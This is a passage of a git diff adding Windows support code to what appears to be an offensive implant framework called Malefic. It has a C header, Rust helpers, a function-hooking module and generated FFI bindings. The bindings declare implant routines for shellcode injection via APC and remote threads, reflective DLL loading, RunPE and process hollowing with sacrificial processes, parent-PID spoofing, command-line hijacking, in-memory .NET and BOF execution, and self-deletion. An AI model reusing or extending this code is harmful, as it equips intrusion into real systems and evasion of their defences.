MOpenThread(uint32_t dwDesiredAccess, int32_t bInheritHandle, uint32_t dwThreadId); +uint32_t MSuspendThread(void *hThread); +uint32_t MResumeThread(void *hThread); +void MExitThread(uint32_t dwExitCode); +bool MGetThreadContext(void *hThread, void *lpContext); +bool MSetThreadContext(void *hThread, void *lpContext); +uint32_t MWaitForSingleObject(void *hHandle, uint32_t dwMilliseconds); +uint32_t MQueueUserApc(void *pfnAPC, void *hThread, uint32_t dwData); +int32_t MNtQueueApcThreadEx( + void *ThreadHandle, + void *UserApcReserve, + void *ApcRoutine, + void *ApcArgument1, + void *ApcArgument2, + void *ApcArgument3 +); +int32_t MNtTestAlert(void); +void* MCreateToolhelp32Snapshot(uint32_t dwFlags, uint32_t th32ProcessID); +bool MThread32First(void *hSnapshot, void *lpte); +bool MThread32Next(void *hSnapshot, void *lpte); + +// ============================================================ +// Core Foundation APIs +// ============================================================ + +void* MLoadLibraryA(const uint8_t *lpLibFileName); +void* MLoadLibraryW(const uint16_t *lpLibFileName); +int32_t MFreeLibrary(void *hLibModule); +void* MGetModuleHandleA(const uint8_t *lpmodulename); +const void* MGetProcAddress(const void *module, const uint8_t *proc_name); +void MCloseHandle(void *handle); +int32_t MNtClose(void *handle); + +// ============================================================ +// Callback APIs +// ============================================================ + +void* MGetDC(void *hWnd); +int32_t MEnumFontsA(void *hdc, const uint8_t *lpLogfont, void *lpProc, intptr_t lParam); +int32_t MEnumSystemLocalesA(void *lpLocaleEnumProc, uint32_t dwFlags); +int32_t MEnumWindows(void *lpEnumFunc, intptr_t lParam); + +bool MaleficMakePipe(void **read, void **write); + +const void* MaleficPipeRedirectStdOut(void *write); + +void MaleficPipeRepairedStdOut(const void *stdout_handle); + +const uint8_t* MaleficPipeRead(void *read_pipe); + +void SafeFreePipeData(const uint8_t *data); + +RawString CLRVersion(void); + +bool MProcess32First(void *hSnapshot, void *lppe); +bool MProcess32Next(void *hSnapshot, void *lppe); +int32_t MNtContinue(void *ThreadContext, uint8_t RaiseAlert); +bool MGetNumaNodeProcessorMask(uint8_t Node, uint64_t *ProcessorMask); +int32_t MNtFlushInstructionCache(void *ProcessHandle, void *BaseAddress, uintptr_t NumberOfBytesToFlush); +int32_t MNtQueryInformationThread(void *ThreadHandle, uint32_t ThreadInformationClass, void *ThreadInformation, uint32_t ThreadInformationLength, uint32_t *ReturnLength); +void MRtlCaptureContext(void *ContextRecord); +void *MAddVectoredExceptionHandler(uint32_t First, void *Handler); +uint32_t MRemoveVectoredExceptionHandler(void *Handle); +void *MVirtualAllocExNuma(void *hProcess, void *lpAddress, uintptr_t dwSize, uint32_t flAllocationType, uint32_t flProtect, uint32_t nndPreferred); + +// ============================================================ +// Core Foundation APIs (Event) +// ============================================================ + +void* MCreateEventA(void *lpEventAttributes, int32_t bManualReset, int32_t bInitialState, const uint8_t *lpName); +bool MSetEvent(void *hEvent); +uint32_t MSleepEx(uint32_t dwMilliseconds, int32_t bAlertable); + +// ============================================================ +// Core FileSystem APIs +// ============================================================ + +void* MCreateFileW(uint16_t *lpFileName, uint32_t dwDesiredAccess, uint32_t dwShareMode, void *lpSecurityAttributes, uint32_t dwCreationDisposition, uint32_t dwFlagsAndAttributes, void *hTemplateFile); +bool MWriteFile(void *hFile, uint8_t *lpBuffer, uint32_t nNumberOfBytesToWrite, uint32_t *lpNumberOfBytesWritten, void *lpOverlapped); +int32_t MNtSetInformationFile(void *hFile, void *IoStatusBlock, void *FileInformation, uint32_t Length, uint32_t FileInformationClass); + +// ============================================================ +// Core Process APIs (Query / Threadpool) +// ============================================================ + +int32_t MNtQueryInformationProcess(void *ProcessHandle, uint32_t ProcessInformationClass, void *ProcessInformation, uint32_t ProcessInformationLength, uint32_t *ReturnLength); +void* MCreateThreadpoolWork(void *pfnwk, void *pv, void *pcbe); +void* MCreateThreadpoolIo(void *fl, void *pfnio, void *pv, void *pcbe); +void* MCreateThreadpoolTimer(void *pfnti, void *pv, void *pcbe); +void* MCreateThreadpoolWait(void *pfnwa, void *pv, void *pcbe); +int32_t MTpAllocAlpcCompletion(void *AlpcReturn, void *AlpcPort, void *Callback, void *Context, void *CallbackEnviron); +int32_t MTpAllocJobNotification(void *JobReturn, void *HJob, void *Callback, void *Context, void *CallbackEnviron); + +#ifdef __cplusplus +} +#endif + +#endif // MALEFIC_WIN_KIT_H \ No newline at end of file diff --git a/malefic-crates/win/src/common/mod.rs b/malefic-crates/win/src/common/mod.rs new file mode 100644 index 0000000..2088e72 --- /dev/null +++ b/malefic-crates/win/src/common/mod.rs @@ -0,0 +1,56 @@ +use std::ffi::OsStr; +use std::os::windows::ffi::OsStrExt; +use windows::core::{BSTR, HRESULT, PCWSTR}; +use windows::Win32::Foundation::{GetLastError, ERROR_INSUFFICIENT_BUFFER, WIN32_ERROR}; + +pub fn to_wide_string(s: &str) -> Vec { + OsStr::new(s).encode_wide().chain(Some(0)).collect() +} + +pub fn wide_to_string(ptr: PCWSTR) -> String { + unsafe { + let len = (0..).take_while(|&i| *ptr.0.offset(i) != 0).count(); + let slice = std::slice::from_raw_parts(ptr.0, len); + String::from_utf16_lossy(slice) + } +} + +pub fn bstr_to_string(bstr: &BSTR) -> String { + if bstr.is_empty() { + return String::new(); + } + bstr.to_string() +} + +pub fn get_buffer(res: windows::core::Result<()>) -> windows::core::Result<()> { + if let Err(e) = res { + if e.code() != HRESULT::from_win32(ERROR_INSUFFICIENT_BUFFER.0) { + Err(e) + } else { + Ok(()) + } + } else { + Ok(()) + } +} + +/// Build a `windows::core::Error` from the thread-local `GetLastError()`. +pub fn last_win32_error() -> windows::core::Error { + let err = unsafe { GetLastError() }; + windows::core::Error::from(WIN32_ERROR(err.0)) +} + +/// Convert a `WIN32_ERROR` status into `Result<()>`. +/// `ERROR_SUCCESS (0)` → `Ok(())`, otherwise → `Err`. +pub fn check_win32(status: WIN32_ERROR) -> windows::core::Result<()> { + if status.0 == 0 { + Ok(()) + } else { + Err(windows::core::Error::from(status)) + } +} + +/// Safe reinterpretation of a `&[u16]` slice as `&[u8]`. +pub fn wide_as_bytes(wide: &[u16]) -> &[u8] { + unsafe { std::slice::from_raw_parts(wide.as_ptr() as *const u8, wide.len() * 2) } +} diff --git a/malefic-crates/win/src/detour/mod.rs b/malefic-crates/win/src/detour/mod.rs new file mode 100644 index 0000000..0df4a77 --- /dev/null +++ b/malefic-crates/win/src/detour/mod.rs @@ -0,0 +1,43 @@ +use anyhow::{anyhow, Result}; +use detour::RawDetour; +use std::ffi::{c_void, CString}; +use windows::{ + core::PCSTR, + Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress}, +}; + +pub struct RawHook { + inner: RawDetour, +} + +impl RawHook { + pub unsafe fn new(target: *const c_void, replacement: *const c_void) -> Result { + let inner = RawDetour::new(target as *const (), replacement as *const ()) + .map_err(|e| anyhow!(e.to_string()))?; + Ok(Self { inner }) + } + + pub fn trampoline(&self) -> *const c_void { + self.inner.trampoline() as *const () as *const c_void + } + + pub unsafe fn enable(&self) -> Result<()> { + self.inner.enable().map_err(|e| anyhow!(e.to_string())) + } + + pub unsafe fn disable(&self) -> Result<()> { + self.inner.disable().map_err(|e| anyhow!(e.to_string())) + } +} + +pub fn resolve_proc_address(module_name: &str, proc_name: &str) -> Result<*const c_void> { + let module = CString::new(module_name).map_err(|e| anyhow!(e.to_string()))?; + let proc = CString::new(proc_name).map_err(|e| anyhow!(e.to_string()))?; + + let module_handle = unsafe { GetModuleHandleA(PCSTR(module.as_ptr() as _)) } + .map_err(|_| anyhow!("module handle get failed"))?; + let proc_address = unsafe { GetProcAddress(module_handle, PCSTR(proc.as_ptr() as _)) } + .ok_or_else(|| anyhow!("func handle get failed"))?; + + Ok(proc_address as *const c_void) +} diff --git a/malefic-crates/win/src/kit/apis/mod.rs b/malefic-crates/win/src/kit/apis/mod.rs new file mode 100644 index 0000000..20f6e4c --- /dev/null +++ b/malefic-crates/win/src/kit/apis/mod.rs @@ -0,0 +1,72 @@ +use crate::kit::binding::{ + MCreateThread, MGetCurrentProcess, MGetProcAddress, MLoadLibraryA, MNtCreateThreadEx, + MaleficGetFuncAddrWithModuleBaseDefault, +}; + +pub unsafe fn m_load_library_a(lib_filename: *const u8) -> *const core::ffi::c_void { + MLoadLibraryA(lib_filename) as _ +} + +pub unsafe fn m_get_proc_address( + module: *const core::ffi::c_void, + proc_name: *const u8, +) -> *const core::ffi::c_void { + MGetProcAddress(module, proc_name) +} + +pub unsafe fn m_create_thread( + thread_attributes: *mut core::ffi::c_void, + stack_size: u32, + start_address: *mut core::ffi::c_void, + parameter: *mut core::ffi::c_void, + creation_flags: u32, + thread_id: *mut u32, +) -> *mut core::ffi::c_void { + MCreateThread( + thread_attributes, + stack_size, + start_address, + parameter, + creation_flags, + thread_id, + ) +} + +pub unsafe fn m_nt_create_thread_ex( + thread_handle: *mut core::ffi::c_void, + desired_access: u32, + object_attributes: *mut core::ffi::c_void, + process_handle: *mut core::ffi::c_void, + start_address: *mut core::ffi::c_void, + start_parameter: *mut core::ffi::c_void, + create_suspended: i32, + stack_zero_bits: u32, + size_of_stack_commit: u32, + size_of_stack_reserve: u32, + attribute_list: *mut core::ffi::c_void, +) -> i32 { + MNtCreateThreadEx( + thread_handle, + desired_access, + object_attributes, + process_handle, + start_address, + start_parameter, + create_suspended, + stack_zero_bits, + size_of_stack_commit, + size_of_stack_reserve, + attribute_list, + ) +} + +pub unsafe fn m_get_current_process() -> *mut core::ffi::c_void { + MGetCurrentProcess() +} + +pub unsafe fn m_get_func_addr_with_module_base( + module_base: *const core::ffi::c_void, + func_name: &[u8], +) -> *const core::ffi::c_void { + MaleficGetFuncAddrWithModuleBaseDefault(module_base, func_name.as_ptr(), func_name.len()) +} diff --git a/malefic-crates/win/src/kit/binding/binding.rs b/malefic-crates/win/src/kit/binding/binding.rs new file mode 100644 index 0000000..bf3ab98 --- /dev/null +++ b/malefic-crates/win/src/kit/binding/binding.rs @@ -0,0 +1,747 @@ +/* automatically generated by rust-bindgen 0.72.1 */ + +pub const __bool_true_false_are_defined: u32 = 1; +pub const false_: u32 = 0; +pub const true_: u32 = 1; +pub const _VCRT_COMPILER_PREPROCESSOR: u32 = 1; +pub const _SAL_VERSION: u32 = 20; +pub const __SAL_H_VERSION: u32 = 180000000; +pub const _USE_DECLSPECS_FOR_SAL: u32 = 0; +pub const _USE_ATTRIBUTES_FOR_SAL: u32 = 0; +pub const _CRT_PACKING: u32 = 8; +pub const _HAS_EXCEPTIONS: u32 = 1; +pub const _STL_LANG: u32 = 0; +pub const _HAS_CXX17: u32 = 0; +pub const _HAS_CXX20: u32 = 0; +pub const _HAS_CXX23: u32 = 0; +pub const _HAS_CXX26: u32 = 0; +pub const _HAS_NODISCARD: u32 = 0; +pub const WCHAR_MIN: u32 = 0; +pub const WCHAR_MAX: u32 = 65535; +pub const WINT_MIN: u32 = 0; +pub const WINT_MAX: u32 = 65535; +pub type va_list = *mut ::std::os::raw::c_char; +extern "C" { + pub fn __va_start(arg1: *mut *mut ::std::os::raw::c_char, ...); +} +pub type __vcrt_bool = bool; +pub type wchar_t = ::std::os::raw::c_ushort; +extern "C" { + pub fn __security_init_cookie(); +} +extern "C" { + pub fn __security_check_cookie(_StackCookie: usize); +} +extern "C" { + pub fn __report_gsfailure(_StackCookie: usize) -> !; +} +extern "C" { + pub static mut __security_cookie: usize; +} +pub type int_least8_t = ::std::os::raw::c_schar; +pub type int_least16_t = ::std::os::raw::c_short; +pub type int_least32_t = ::std::os::raw::c_int; +pub type int_least64_t = ::std::os::raw::c_longlong; +pub type uint_least8_t = ::std::os::raw::c_uchar; +pub type uint_least16_t = ::std::os::raw::c_ushort; +pub type uint_least32_t = ::std::os::raw::c_uint; +pub type uint_least64_t = ::std::os::raw::c_ulonglong; +pub type int_fast8_t = ::std::os::raw::c_schar; +pub type int_fast16_t = ::std::os::raw::c_int; +pub type int_fast32_t = ::std::os::raw::c_int; +pub type int_fast64_t = ::std::os::raw::c_longlong; +pub type uint_fast8_t = ::std::os::raw::c_uchar; +pub type uint_fast16_t = ::std::os::raw::c_uint; +pub type uint_fast32_t = ::std::os::raw::c_uint; +pub type uint_fast64_t = ::std::os::raw::c_ulonglong; +pub type intmax_t = ::std::os::raw::c_longlong; +pub type uintmax_t = ::std::os::raw::c_ulonglong; +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct RawString { + pub data: *mut u8, + pub len: usize, + pub capacity: usize, +} +#[test] +fn bindgen_test_layout_RawString() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 24usize, + "Size of RawString" + ); + assert_eq!( + ::std::mem::align_of::(), + 8usize, + "Alignment of RawString" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).data) as usize - ptr as usize }, + 0usize, + "Offset of field: RawString::data" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).len) as usize - ptr as usize }, + 8usize, + "Offset of field: RawString::len" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).capacity) as usize - ptr as usize }, + 16usize, + "Offset of field: RawString::capacity" + ); +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct MaleficPipe { + pub read: *const ::std::os::raw::c_void, + pub write: *const ::std::os::raw::c_void, +} +#[test] +fn bindgen_test_layout_MaleficPipe() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 16usize, + "Size of MaleficPipe" + ); + assert_eq!( + ::std::mem::align_of::(), + 8usize, + "Alignment of MaleficPipe" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).read) as usize - ptr as usize }, + 0usize, + "Offset of field: MaleficPipe::read" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).write) as usize - ptr as usize }, + 8usize, + "Offset of field: MaleficPipe::write" + ); +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct DarkModule { + pub module_base: *const ::std::os::raw::c_void, +} +#[test] +fn bindgen_test_layout_DarkModule() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 8usize, + "Size of DarkModule" + ); + assert_eq!( + ::std::mem::align_of::(), + 8usize, + "Alignment of DarkModule" + ); + assert_eq!( + unsafe { ::std::ptr::addr_of!((*ptr).module_base) as usize - ptr as usize }, + 0usize, + "Offset of field: DarkModule::module_base" + ); +} +extern "C" { + pub fn ApcLoaderInline( + bin: *const u8, + bin_len: usize, + need_output: bool, + loader_type: u32, + ) -> RawString; +} +extern "C" { + pub fn ApcLoaderSacriface( + bin: *const u8, + bin_len: usize, + sacrifice_commandline: *mut ::std::os::raw::c_char, + ppid: u32, + block_dll: bool, + need_output: bool, + ) -> RawString; +} +extern "C" { + pub fn DeleteSelf(stream: *const u8, stream_len: u32); +} +extern "C" { + pub fn InjectRemoteThread(bin: *const u8, bin_len: usize, pid: u32) -> RawString; +} +extern "C" { + pub fn MaleficLoadLibrary( + flags: u32, + buffer: *const u16, + file_buffer: *const ::std::os::raw::c_void, + len: usize, + name: *const u8, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn MaleficGetFuncAddrWithModuleBaseDefault( + module_base: *const ::std::os::raw::c_void, + func_name: *const u8, + func_name_len: usize, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn ReflectiveLoader( + start_commandline: *const u8, + start_commandline_len: usize, + reflective_loader_name: *const u8, + reflective_loader_name_len: usize, + data: *const u8, + data_len: usize, + param: *const u8, + param_len: usize, + ppid: u32, + block_dll: bool, + timeout: u32, + is_need_output: bool, + ) -> RawString; +} +extern "C" { + pub fn InlinePE( + bin: *const u8, + bin_size: usize, + magic: *const u16, + signature: *const u32, + commandline: *const u8, + commandline_len: usize, + entrypoint: *const u8, + entrypoint_len: usize, + is_dll: bool, + is_need_output: bool, + timeout: u32, + delay: u32, + ) -> RawString; +} +extern "C" { + pub fn RunPE( + start_commandline: *const u8, + start_commandline_len: usize, + hijack_commandline: *const u8, + hijack_commandline_len: usize, + data: *const u8, + data_size: usize, + entrypoint: *const u8, + entrypoint_len: usize, + args: *const u8, + args_len: usize, + is_x86: bool, + pid: u32, + block_dll: bool, + need_output: bool, + ) -> RawString; +} +extern "C" { + pub fn RunSacrifice( + application_name: *mut u8, + start_commandline: *const u8, + start_commandline_len: usize, + hijack_commandline: *const u8, + hijack_commandline_len: usize, + parent_id: u32, + need_output: bool, + block_dll: bool, + ) -> RawString; +} +extern "C" { + pub fn MaleficExecAssembleInMemory( + data: *const u8, + data_len: usize, + args: *const *const u8, + args_len: usize, + ) -> RawString; +} +extern "C" { + pub fn MaleficBofLoader( + buffer: *const u8, + buffer_len: usize, + arguments: *const *const u8, + arguments_size: usize, + entrypoint_name: *const u8, + ) -> RawString; +} +extern "C" { + pub fn HijackCommandLine(commandline: *const u8, commandline_len: usize) -> u8; +} +extern "C" { + pub fn MaleficPwshExecCommand(command: *const u8, command_len: usize) -> RawString; +} +extern "C" { + pub fn PELoader( + handle: *const ::std::os::raw::c_void, + base_addr: *const ::std::os::raw::c_void, + size: usize, + need_modify_magic: bool, + need_modify_sign: bool, + magic: u16, + signature: u32, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn UnloadPE(module: *const ::std::os::raw::c_void); +} +extern "C" { + pub fn MVirtualAlloc( + ptr: *mut ::std::os::raw::c_void, + size: usize, + flags: u32, + protect: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MVirtualAllocEx( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + size: usize, + flags: u32, + protect: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MVirtualProtect( + ptr: *mut ::std::os::raw::c_void, + size: usize, + new_protect: u32, + old_protect: *mut u32, + ) -> bool; +} +extern "C" { + pub fn MVirtualProtectEx( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + size: usize, + new_protect: u32, + old_protect: *mut u32, + ) -> bool; +} +extern "C" { + pub fn MWriteProcessMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + data: *const ::std::os::raw::c_void, + len: usize, + ) -> bool; +} +extern "C" { + pub fn MReadProcessMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + data: *mut ::std::os::raw::c_void, + len: usize, + ) -> bool; +} +extern "C" { + pub fn MNtAllocateVirtualMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + allocation_type: u32, + protect: u32, + ) -> i32; +} +extern "C" { + pub fn MNtWriteVirtualMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut ::std::os::raw::c_void, + data: *const ::std::os::raw::c_void, + len: usize, + ) -> i32; +} +extern "C" { + pub fn MNtProtectVirtualMemory( + handle: *const ::std::os::raw::c_void, + ptr: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + new_protect: u32, + old_protect: *mut u32, + ) -> i32; +} +extern "C" { + pub fn MNtCreateSection( + section_handle: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + protect: u32, + flags: u32, + ) -> i32; +} +extern "C" { + pub fn MNtMapViewOfSection( + section_handle: *mut *mut ::std::os::raw::c_void, + handle: *const ::std::os::raw::c_void, + ptr: *mut *mut ::std::os::raw::c_void, + size: *mut usize, + flags: u32, + protect: u32, + ) -> i32; +} +extern "C" { + pub fn MHeapAlloc(size: usize, flags: u32) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MRtlFillMemory(Destination: *mut ::std::os::raw::c_void, Length: usize, Fill: u8); +} +extern "C" { + pub fn MOpenProcess( + dwDesiredAccess: u32, + bInheritHandle: i32, + dwProcessId: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateProcessA( + lpApplicationName: *const i8, + lpCommandLine: *mut i8, + lpProcessAttributes: *mut ::std::os::raw::c_void, + lpThreadAttributes: *mut ::std::os::raw::c_void, + bInheritHandles: i32, + dwCreationFlags: u32, + lpEnvironment: *mut ::std::os::raw::c_void, + lpCurrentDirectory: *const i8, + lpStartupInfo: *mut ::std::os::raw::c_void, + lpProcessInformation: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MGetCurrentProcessId() -> u32; +} +extern "C" { + pub fn MGetCurrentThread() -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MTerminateProcess(hProcess: *mut ::std::os::raw::c_void, uExitCode: u32) -> bool; +} +extern "C" { + pub fn MCreateRemoteThread( + hProcess: *mut ::std::os::raw::c_void, + lpThreadAttributes: *mut ::std::os::raw::c_void, + dwStackSize: u32, + lpStartAddress: *mut ::std::os::raw::c_void, + lpParameter: *mut ::std::os::raw::c_void, + dwCreationFlags: u32, + lpThreadId: *mut u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MOpenThread( + dwDesiredAccess: u32, + bInheritHandle: i32, + dwThreadId: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MSuspendThread(hThread: *mut ::std::os::raw::c_void) -> u32; +} +extern "C" { + pub fn MResumeThread(hThread: *mut ::std::os::raw::c_void) -> u32; +} +extern "C" { + pub fn MExitThread(dwExitCode: u32); +} +extern "C" { + pub fn MGetThreadContext( + hThread: *mut ::std::os::raw::c_void, + lpContext: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MSetThreadContext( + hThread: *mut ::std::os::raw::c_void, + lpContext: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MWaitForSingleObject(hHandle: *mut ::std::os::raw::c_void, dwMilliseconds: u32) -> u32; +} +extern "C" { + pub fn MQueueUserApc( + pfnAPC: *mut ::std::os::raw::c_void, + hThread: *mut ::std::os::raw::c_void, + dwData: u32, + ) -> u32; +} +extern "C" { + pub fn MNtQueueApcThreadEx( + ThreadHandle: *mut ::std::os::raw::c_void, + UserApcReserve: *mut ::std::os::raw::c_void, + ApcRoutine: *mut ::std::os::raw::c_void, + ApcArgument1: *mut ::std::os::raw::c_void, + ApcArgument2: *mut ::std::os::raw::c_void, + ApcArgument3: *mut ::std::os::raw::c_void, + ) -> i32; +} +extern "C" { + pub fn MNtTestAlert() -> i32; +} +extern "C" { + pub fn MCreateToolhelp32Snapshot( + dwFlags: u32, + th32ProcessID: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MThread32First( + hSnapshot: *mut ::std::os::raw::c_void, + lpte: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MThread32Next( + hSnapshot: *mut ::std::os::raw::c_void, + lpte: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MLoadLibraryA(lpLibFileName: *const u8) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MLoadLibraryW(lpLibFileName: *const u16) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MFreeLibrary(hLibModule: *mut ::std::os::raw::c_void) -> i32; +} +extern "C" { + pub fn MGetModuleHandleA(lpmodulename: *const u8) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCloseHandle(handle: *mut ::std::os::raw::c_void); +} +extern "C" { + pub fn MNtClose(handle: *mut ::std::os::raw::c_void) -> i32; +} +extern "C" { + pub fn MGetDC(hWnd: *mut ::std::os::raw::c_void) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MEnumFontsA( + hdc: *mut ::std::os::raw::c_void, + lpLogfont: *const u8, + lpProc: *mut ::std::os::raw::c_void, + lParam: isize, + ) -> i32; +} +extern "C" { + pub fn MEnumSystemLocalesA(lpLocaleEnumProc: *mut ::std::os::raw::c_void, dwFlags: u32) -> i32; +} +extern "C" { + pub fn MEnumWindows(lpEnumFunc: *mut ::std::os::raw::c_void, lParam: isize) -> i32; +} +extern "C" { + pub fn MGetProcAddress( + module: *const ::std::os::raw::c_void, + proc_name: *const u8, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThread( + thread_attributes: *mut ::std::os::raw::c_void, + stack_size: u32, + start_address: *mut ::std::os::raw::c_void, + parameter: *mut ::std::os::raw::c_void, + creation_flags: u32, + thread_id: *mut u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MNtCreateThreadEx( + thread_handle: *mut ::std::os::raw::c_void, + desired_access: u32, + object_attributes: *mut ::std::os::raw::c_void, + process_handle: *mut ::std::os::raw::c_void, + start_address: *mut ::std::os::raw::c_void, + start_parameter: *mut ::std::os::raw::c_void, + create_suspended: i32, + stack_zero_bits: u32, + size_of_stack_commit: u32, + size_of_stack_reserve: u32, + attribute_list: *mut ::std::os::raw::c_void, + ) -> i32; +} +extern "C" { + pub fn MGetCurrentProcess() -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MaleficMakePipe( + read: *mut *mut ::std::os::raw::c_void, + write: *mut *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MaleficPipeRedirectStdOut( + write: *mut ::std::os::raw::c_void, + ) -> *const ::std::os::raw::c_void; +} +extern "C" { + pub fn MaleficPipeRepairedStdOut(stdout_handle: *const ::std::os::raw::c_void); +} +extern "C" { + pub fn MaleficPipeRead(read_pipe: *mut ::std::os::raw::c_void) -> *const u8; +} +extern "C" { + pub fn SafeFreePipeData(data: *const u8); +} +extern "C" { + pub fn CLRVersion() -> RawString; +} +extern "C" { + pub fn MProcess32First( + hSnapshot: *mut ::std::os::raw::c_void, + lppe: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MProcess32Next( + hSnapshot: *mut ::std::os::raw::c_void, + lppe: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MNtContinue(ThreadContext: *mut ::std::os::raw::c_void, RaiseAlert: u8) -> i32; +} +extern "C" { + pub fn MGetNumaNodeProcessorMask(Node: u8, ProcessorMask: *mut u64) -> bool; +} +extern "C" { + pub fn MNtFlushInstructionCache( + ProcessHandle: *mut ::std::os::raw::c_void, + BaseAddress: *mut ::std::os::raw::c_void, + NumberOfBytesToFlush: usize, + ) -> i32; +} +extern "C" { + pub fn MNtQueryInformationThread( + ThreadHandle: *mut ::std::os::raw::c_void, + ThreadInformationClass: u32, + ThreadInformation: *mut ::std::os::raw::c_void, + ThreadInformationLength: u32, + ReturnLength: *mut u32, + ) -> i32; +} +extern "C" { + pub fn MRtlCaptureContext(ContextRecord: *mut ::std::os::raw::c_void); +} +extern "C" { + pub fn MAddVectoredExceptionHandler( + First: u32, + Handler: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MRemoveVectoredExceptionHandler(Handle: *mut ::std::os::raw::c_void) -> u32; +} +extern "C" { + pub fn MVirtualAllocExNuma( + hProcess: *mut ::std::os::raw::c_void, + lpAddress: *mut ::std::os::raw::c_void, + dwSize: usize, + flAllocationType: u32, + flProtect: u32, + nndPreferred: u32, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateEventA( + lpEventAttributes: *mut ::std::os::raw::c_void, + bManualReset: i32, + bInitialState: i32, + lpName: *const u8, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MSetEvent(hEvent: *mut ::std::os::raw::c_void) -> bool; +} +extern "C" { + pub fn MSleepEx(dwMilliseconds: u32, bAlertable: i32) -> u32; +} +extern "C" { + pub fn MCreateFileW( + lpFileName: *mut u16, + dwDesiredAccess: u32, + dwShareMode: u32, + lpSecurityAttributes: *mut ::std::os::raw::c_void, + dwCreationDisposition: u32, + dwFlagsAndAttributes: u32, + hTemplateFile: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MWriteFile( + hFile: *mut ::std::os::raw::c_void, + lpBuffer: *mut u8, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut ::std::os::raw::c_void, + ) -> bool; +} +extern "C" { + pub fn MNtSetInformationFile( + hFile: *mut ::std::os::raw::c_void, + IoStatusBlock: *mut ::std::os::raw::c_void, + FileInformation: *mut ::std::os::raw::c_void, + Length: u32, + FileInformationClass: u32, + ) -> i32; +} +extern "C" { + pub fn MNtQueryInformationProcess( + ProcessHandle: *mut ::std::os::raw::c_void, + ProcessInformationClass: u32, + ProcessInformation: *mut ::std::os::raw::c_void, + ProcessInformationLength: u32, + ReturnLength: *mut u32, + ) -> i32; +} +extern "C" { + pub fn MCreateThreadpoolWork( + pfnwk: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThreadpoolIo( + fl: *mut ::std::os::raw::c_void, + pfnio: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThreadpoolTimer( + pfnti: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn MCreateThreadpoolWait( + pfnwa: *mut ::std::os::raw::c_void, + pv: *mut ::std::os::raw::c_void, + pcbe: *mut ::std::os::raw::c_void, + ) -> *mut ::std::os::raw::c_void; +} +extern "C" { + pub fn 